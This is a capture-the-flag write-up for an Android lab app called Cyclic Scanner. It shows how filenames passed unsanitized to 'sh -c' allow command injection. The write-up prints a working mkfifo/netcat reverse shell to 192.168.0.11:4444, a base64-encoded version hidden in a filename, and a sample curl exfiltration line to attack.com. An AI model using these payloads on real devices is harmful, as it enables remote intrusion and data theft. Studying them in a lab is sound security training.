Mobile Hacking Lab; Cyclic Scanner ; Android Services Challenge
Objective: Exploit a vulnerability in an Android service to achieve Remote Code Execution (RCE)
This CTF challenge taught me about command injection through filenames and how unexported Android services can still be vulnerable. Let me walk you through my thought process and the roadblocks I hit.
Initial Reconnaissance - Manifest Analysis
Like always, I started by examining the AndroidManifest.xml file to understand the app's attack surface.
<application
android:debuggable="true"
android:allowBackup="true">
<activity
android:name="com.mobilehackinglab.cyclicscanner.MainActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<service
android:name="com.mobilehackinglab.cyclicscanner.scanner.ScanService"
android:exported="false"/>
</application>
What I noticed:
MainActivityis exported (accessible from outside)ScanServicehasexported="false"(not directly accessible)The app has
MANAGE_EXTERNAL_STORAGEpermission
I was confused at first. How can I exploit a service that's not exported? I wandered around intents and what not.
The Dead End - MainActivity Analysis
I decompiled the APK and looked at MainActivity to see if it could be a bridge to the unexported service.
private final void setupSwitch() {
activityMainBinding.serviceSwitch.setOnCheckedChangeListener(
(compoundButton, isChecked) -> {
if (isChecked) {
Toast.makeText(this, "Scan service started...", 0).show();
startForegroundService(new Intent(this, ScanService.class));
}
}
);
}
The MainActivity just starts the service when a switch is toggled in the UI. It doesn't process any Intent extras from external sources. This was a dead end for getting user-controlled data into the service.
I was stuck here for a while. MainActivity wasn't accepting any external input that could reach ScanService.
The Real Vulnerability - ScanService Code
I shifted focus to ScanService itself to understand what it actually does
@Override
public void handleMessage(Message msg) throws IOException {
System.out.println("starting file scan...");
File externalStorageDirectory = Environment.getExternalStorageDirectory();
Sequence files = FilesKt.walk(externalStorageDirectory);
for (Object element : files) {
File file = (File) element;
if (file.canRead() && file.isFile()) {
System.out.print(file.getAbsolutePath() + "...");
boolean safe = ScanEngine.INSTANCE.scanFile(file);
System.out.println(safe ? "SAFE" : "INFECTED");
}
}
System.out.println("finished file scan!");
}
The service scans all files in /sdcard/ (external storage). I checked what ScanEngine.scanFile() does:
public final boolean scanFile(File file) throws IOException {
try {
String command = "toybox sha1sum " + file.getAbsolutePath();
Process process = new ProcessBuilder()
.command("sh", "-c", command)
.directory(Environment.getExternalStorageDirectory())
.redirectErrorStream(true)
.start();
InputStream inputStream = process.getInputStream();
BufferedReader reader = new BufferedReader(
new InputStreamReader(inputStream, Charsets.UTF_8)
);
String output = reader.readLine();
String fileHash = output.split(" ")[0];
return !KNOWN_MALWARE_SAMPLES.containsValue(fileHash);
} catch (Exception e) {
return false;
}
}
As soon as I saw input file being sent to sh -c I understood this is the vulnerability!
The code constructs a shell command by concatenating "toybox sha1sum " with file.getAbsolutePath() without any sanitization. If I control the filename, I can inject arbitrary commands!
The attack chain became clear:
The app has
MANAGE_EXTERNAL_STORAGEpermission, that means it can access filesystemScanService periodically scans all files in
/sdcard/scanFile()executes:sh -c "toybox sha1sum /sdcard/<filename>"If the filename contains shell metacharacters like
|;&&, I can inject commands!
For example, if I create a file named test.txt;id, the executed command becomes:
sh -c "toybox sha1sum /sdcard/test.txt;id"
This executes TWO commands:
toybox sha1sum /sdcard/test.txtid
I also wanted to confirm if the scan was actually running. I used adb logcat to monitor the output:
adb logcat | grep "System.out"
01-24 07:42:56.375 16078 16188 I System.out: /storage/emulated/0/Pictures/.gs_fs0/.0.jpg...SAFE
01-24 07:42:56.416 16078 16188 I System.out: /storage/emulated/0/Pictures/.gs_fs0/.1.jpg...SAFE
01-24 07:42:56.479 16078 16188 I System.out: starting file scan...
01-24 07:42:56.528 16078 16188 I System.out: finished file scan!
I needed a way to exfiltrate data, the command would run, but in a real world scenario how would I get back the command output?
The Challenge - Getting Command Output
I tried escalating to Remote Code Execution, but faced several challenges:
Challenge 1: No Direct Output
The stdout from injected commands wasn't visible to me. I needed to exfiltrate data somehow, in a real world scenario this is ideal.
Challenge 2: Limited Tools
Android's toybox doesn't include curl or wget for easy HTTP exfiltration otherwise we could have done curl attack.com?val=$(exfil), would have been much simpler but no curl and no wget.
Challenge 3: Filename Restrictions
Some special characters (|, >, <) couldn't be used in filenames due to filesystem restrictions.
Setting Up a Reverse Shell
The app has INTERNET permission, so I decided to use nc (netcat) for a reverse shell.
On my machine:
nc -lvp 4444
The payload I wanted to execute:
rm /tmp/f
mkfifo /tmp/f
cat /tmp/f | sh -i 2>&1 | nc 192.168.0.11 4444 > /tmp/f
This creates a named pipe for bidirectional communication, giving me an interactive shell.
First Attempt - The /tmp Problem
I first tested the reverse shell manually via adb shell:
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc 192.168.0.11 4444 > /tmp/f
```
**Error:**
```
mkfifo: /tmp/f: No such file or directory
The /tmp directory didn't exist on this Android device!
Second Attempt - /sdcard/ Restrictions
I tried using /sdcard/ instead:
rm /sdcard/f; mkfifo /sdcard/f; cat /sdcard/f | sh -i 2>&1 | nc 192.168.0.11 4444 > /sdcard/f
```
**Error:**
```
mkfifo: /sdcard/f: Invalid argument
The /sdcard filesystem doesn't support special files like FIFOs (named pipes)!
The Working Solution - /data/local/tmp
Finally, I used /data/local/tmp/, which is a standard writable location on Android, I remembered this path because this is where we put the frida server binaries,
rm /data/local/tmp/f; mkfifo /data/local/tmp/f; cat /data/local/tmp/f | sh -i 2>&1 | nc 192.168.0.11 4444 > /data/local/tmp/f
```
This worked perfectly! I got the shell prompt:
```
Connection received on 192.168.0.13 36092
d2s:/storage/emulated/0 #
Now I just needed to figure out how to put this entire command into a filename.
The Filename Problem
I tried creating the malicious filename directly:
~/mobilehackinglab ✗ adb shell 'touch "/sdcard/x.txt;rm /data/local/tmp/f;mkfifo /data/local/tmp/f;cat /data/local/tmp/f|sh -i 2>&1|nc 192.168.0.11 4444>/data/
local/tmp/f"'
touch: '/sdcard/x.txt;rm /data/local/tmp/f;mkfifo /data/local/tmp/f;cat /data/local/tmp/f|sh -i 2>&1|nc 192.168.0.11 4444>/data/local/tmp/f': No such file or directory
The Solution - Base64 Encoding
I realized I could bypass filename restrictions by base64-encoding the payload and decoding it at runtime.
Step 1: Encode the payload
echo 'rm /data/local/tmp/f;mkfifo /data/local/tmp/f;cat /data/local/tmp/f|sh -i 2>&1|nc 192.168.0.11 4444>/data/local/tmp/f' | base64
cm0gL2RhdGEvbG9jYWwvdG1wL2Y7bWtmaWZvIC9kYXRhL2xvY2FsL3RtcC9mO2NhdCAvZGF0YS9sb2NhbC90bXAvZnxzaCAtaSAyPiYxfG5jIDE5Mi4xNjguMC4xMSA0NDQ0Pi9kYXRhL2xvY2FsL3RtcC9m
Now creating malicious filename
adb shell su -c 'touch "/sdcard/x.txt;echo cm0gL2RhdGEvbG9jYWwvdG1wL2Y7bWtmaWZvIC9kYXRhL2xvY2FsL3RtcC9mO2NhdCAvZGF0YS9sb2NhbC90bXAvZnxzaCAtaSAyPiYxfG5jIDE5Mi4xNjguMC4xMSA0NDQ0Pi9kYXRhL2xvY2FsL3RtcC9mCg==|base64 -d|sh"'
This worked! The filename only contains alphanumeric characters, semicolons, and pipes within the base64 string.
Achieving RCE
On my machine:
nc -lvp 4444
Listening on 0.0.0.0 4444
I waited for the scanner to run (it scans every 6 seconds based on the code).
d2s:/ # id
uid=0(root) gid=0(root) groups=0(root) context=u:r:magisk:s0
d2s:/ # whoami
root
d2s:/ # ls /data/data/com.mobilehackinglab.cyclicscanner
cache
code_cache
files
d2s:/ #

SUCCESS! we have a remote shell! 🎉
The Complete Attack Chain
Vulnerability: Command injection in
ScanEngine.scanFile()via unsanitized filenameAccess Vector: Write malicious file to
/sdcard/(accessible to any app with storage permission)Trigger: ScanService automatically scans the file within 6 seconds
Payload Delivery: Base64-encoded reverse shell to bypass filename restrictions
Execution: Injected command creates a reverse shell using named pipes and netcat
Impact: Full reverse shell
Most important Takeaway
Named pipes for reverse shells - Using mkfifo to create bidirectional communication channels is essential when tools like nc -e aren't available.
Disclaimer: While all technical work and problem-solving was done by me, this writeup was edited with assistance from an LLM to improve grammar, clarity, and flow.